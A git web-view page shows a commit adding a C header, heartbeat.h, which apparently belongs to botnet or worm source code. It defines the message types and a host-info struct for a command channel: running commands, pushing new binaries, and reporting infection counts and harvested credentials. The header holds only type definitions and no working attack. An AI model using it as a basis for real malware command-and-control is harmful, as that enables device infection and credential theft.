aboutsummaryrefslogtreecommitdiff
path: root/src/heartbeat.h
diff options
context:
space:
mode:
Diffstat (limited to 'src/heartbeat.h')
-rw-r--r--src/heartbeat.h42
1 files changed, 42 insertions, 0 deletions
diff --git a/src/heartbeat.h b/src/heartbeat.h
new file mode 100644
index 0000000..3d396cb
--- /dev/null
+++ b/src/heartbeat.h
@@ -0,0 +1,42 @@
+#pragma once
+#include "protocol.h"
+#include "util_ct.h"
+
+#include <stdint.h>
+#include <stddef.h>
+#include <stdbool.h>
+
+
+typedef struct prne_htbt_host_info prne_htbt_host_info_t;
+
+typedef enum {
+ PRNE_HTBT_OP_HOST_INFO,
+ PRNE_HTBT_OP_CMD,
+ PRNE_HTBT_OP_NY_BIN,
+ PRNE_HTBT_OP_RSP,
+
+ NB_PRNE_HTBT_OP
+} prne_htbt_op_t;
+PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF);
+
+typedef enum {
+ PRNE_HTBT_RSP_OK,
+ PRNE_HTBT_RSP_ERRNO,
+
+ NB_PRNE_HTBT_RSP
+} prne_htbt_rsp_t;
+PRNE_LIMIT_ENUM(prne_htbt_rsp_t, NB_PRNE_HTBT_RSP, 0xFF);
+
+struct prne_htbt_host_info {
+ char prog_ver[36];
+ uint64_t uptime;
+ uint64_t rerun_cnt;
+ uint64_t bne_cnt;
+ uint64_t infect_cnt;
+ uint32_t god_pid;
+ uint32_t proone_pid;
+ const char *cred_str;
+ uint8_t cred_id_len;
+ uint8_t cred_pw_len;
+ prne_arch_t arch;
+};